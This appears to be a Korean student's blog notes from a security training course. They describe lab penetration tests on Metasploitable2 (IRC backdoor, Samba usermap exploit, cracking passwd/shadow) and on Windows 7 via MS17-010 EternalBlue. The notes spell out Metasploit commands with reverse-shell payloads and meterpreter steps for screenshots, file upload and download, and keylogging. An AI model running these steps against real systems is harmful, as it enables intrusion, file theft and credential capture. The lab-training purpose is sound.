Exploit 글 실습의 연장선
Metasploitable2의 6667번 포트의 취약점 진단
1. 포트스캔
2. 취약점에 대한 조사
별다른 소득 없음
3. 스크립트를 활용한 상세 스캐닝
아래 사진처럼 트로이안 취약점을 가진다 -> 리버스 payload를 사용하는 것이 좋음
4. Metasploit 스캐닝 및 Exploit
공격에 사용할 payloads 보기
payload 선택시 참고
- 공격 모듈에 기본 장착되어 있으면 별도로 설정 안해도 됨
- 상세스캐닝 과정에서 트로이안 등 취약점을 가지고 있으면 reverse로 하는 것이 좋음
- Rapid7에서 인수할 때, Perl script를 Ruby로 재구조화했음 ----> Ruby로 만든 스크립트가 더 잘 동작함
- 이것 저것 해봤는데 딱히 마땅치 않을 경우, cmd/unix/generic 을 고르면 무난하게 동작함
위의 상세스캐닝 과정에서 6667포트는 트로이안 취약점을 가지므로 payload도 리버스를 이용하는 것이 좋음
Samba 취약점 찾기
SMB(Server Message Block)
- SMB란 윈도우간 파일 및 폴더를 공유하는 프로토콜이다.
- SMB를 리눅스에서도 활용하기 위해 만든 프로토콜이 SaMBa이다.
- 윈도우 계정을 리눅스 계정과 일치를 시키면 권한을 부여하여, 파일을 리눅스에 백업하거나 복사 등이 가능 -> 부서 공유 서버로 활용
- 공격자들이 경유서버로 활용할 가능성이 있음(주의)
1. 스캐닝
우선적으로 모른다는 가정하에 IP를 찾아내고, 그 IP가 어떤 운영체제를 가지는지 알아본다. -> TTL이 6인경우 Linux 운영체제이다.
그 후에 All Scan을 하여 열린 포트 및 취약한 부분을 찾아본다.
그 결과 삼바를 사용하는 포트와 삼바 버전이 나와있는 것을 알 수 있고, 그 아래 Host정보에 삼바 보안이 위험하다고 적혀 있는 것을 볼 수 있었다.
2. 검색
버전을 토대로 검색한 결과 취약점 번호를 알 수 있었다. 알아낸 취약점 번호를 기반으로 공격 모듈을 검색 해보면
3. 상세 스캐닝
Username을 검색한 결과 없음 -> 4단계로 넘어가기
4. Metasploit에서의 스캔
위에서 알아낸 정보로 검색한 결과 usermap 모듈을 발견 할 수 있었다. 이 모듈을 장착하여 공격해보자
아래의 그림에 보면 default payload(cmd/unix/reverse_netcat)가 있으므로 호스트를 설정하고 공격해보자.
reverse payload를 가지고 있으니 lhost, rhost 둘 다 설정을 해주고, 공격을 해본 결과 root권한으로 침투할 수 있었다.
5. 계정 탈취
passwd, shadow정보를 복사한 뒤 칼리리눅스에 복사를한다.
6. John Ripper 도구를 이용하여 크래킹
passwd shadow 두 파일을 합쳐준 후 존을 이용하여 크래킹하는 모습
Window7 취약점 실습(맥북에서는 안되서 나중에 업로드)
( 로그인 : john / 윈도12#$ )
----> MS08-067 안됨! 다른 취약점이 있음!
1단계) 스캐닝
$ sudo nmap -sn 192.168.5.129-140
$ ping 192.168.5.133 // TTL이 128이면 윈도우임
$ sudo nmap -A 192.168.5.133
(Windows7은 Server가 아니라 Desktop이기 때문에 서비스를 거의 실행되지 않음)
-----> SMBv1과 SMBv2가 같이 사용되고 있음 (SMB1의 취약점을 가지고 있음)
3단계) 스크립트를 이용한 스캐닝
$ sudo nmap --script=smb-vuln-* 192.168.5.133 // SMB 취약점을 모두 검색
----> MS17-010 취약점이 있음 -----> MS17-010을 이용한 랜섬웨어의 이름은? WannaCry (라자루스 : 북한 해킹그룹)
4단계) Exploit
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set target 1
set rhosts 192.168.5.133
set lhost 192.168.5.129
set payload windows/x64/vncinject/reverse_tcp // Victim의 화면을 볼 수 있음
set viewonly false // false : 원격 조종, true : 보기만 하겠다
exploit
-----> VNC 창이 열리고 화면 조종 가능 (처음에는 영어만 입력됨, Victim쪽에서 한글을 입력하면, Attacker도 한글 입력 가능)
* 취약점은 패치를 설치하면 해결됨 : 패치번호는 KB4013389 or Later (이후에 나온 패치에 포함된 경우 있음)
* Windows
- Windows7이전 버전 : 자동업데이트 안함 ---> 수동으로 업데이트 해야 함
- Windows10이후 버전 : 자동업데이트 함 ---> 취약점이 바로 사라짐
* Android, iPhone도 사용자에게 업데이트 하라고 알려줌 (알람)
- 업데이트를 안하고 다니면, 같은 네트워크에 누군가 Metasploit를 켜서 Exploit 할 수도 있음 ex) 학교, 커피숍, 미용실, 버스, 호텔 등등
VNC창을 닫고 엔터를 입력하면
Metasploit화면이 나옴.
set payload windows/x64/meterpreter/reverse_tcp // 페이로드를 변경함
exploit
1) 화면 캡쳐하기
meterpreter> screenshot
( 파일이 저장됨 ----> /home/kali 에 캡쳐한 사진이 저장됨 )
2) 디렉토리 만들기
mkdir c:/game
3) 파일 업로드하기
upload /usr/share/windows-binaries/nc.exe C:/game
4) 파일 다운로드 하기
download C:/users/john/documents/*.pdf /home/kali
cf. meterpreter라는 도구는 리눅스 명령과 유사한 명령으로 윈도우를 원격 조종할 수 있음
5) 키로깅 (키 입력값 알아내기)
ps // 윈도우의 프로세스 목록을 볼 수 있음
( Explorer.exe 프로세스의 맨 앞 번호를 기억 : PID 1352 )
(meterpreter 프로세스를 Explorer.exe 아래로 들어갈 예정)
migrate 1352
keyscan_start // 키로거 동작 시작!!!
(Windows에서 비밀번호 입력해봄)
keyscan_dump // 입력한 비밀번호 보임
(비밀번호 확인 가능!!!)
keyscan_stop // 키스캔 중단됨
exit // meterpreter 종료됨
'SK Rookies 9 > Network System Secure' 카테고리의 다른 글
로그 분석 (0) | 2022.09.22 |
---|---|
Exploit (0) | 2022.09.20 |
암호화 (0) | 2022.09.19 |
WireShark (0) | 2022.09.18 |
9월 15일 (0) | 2022.09.16 |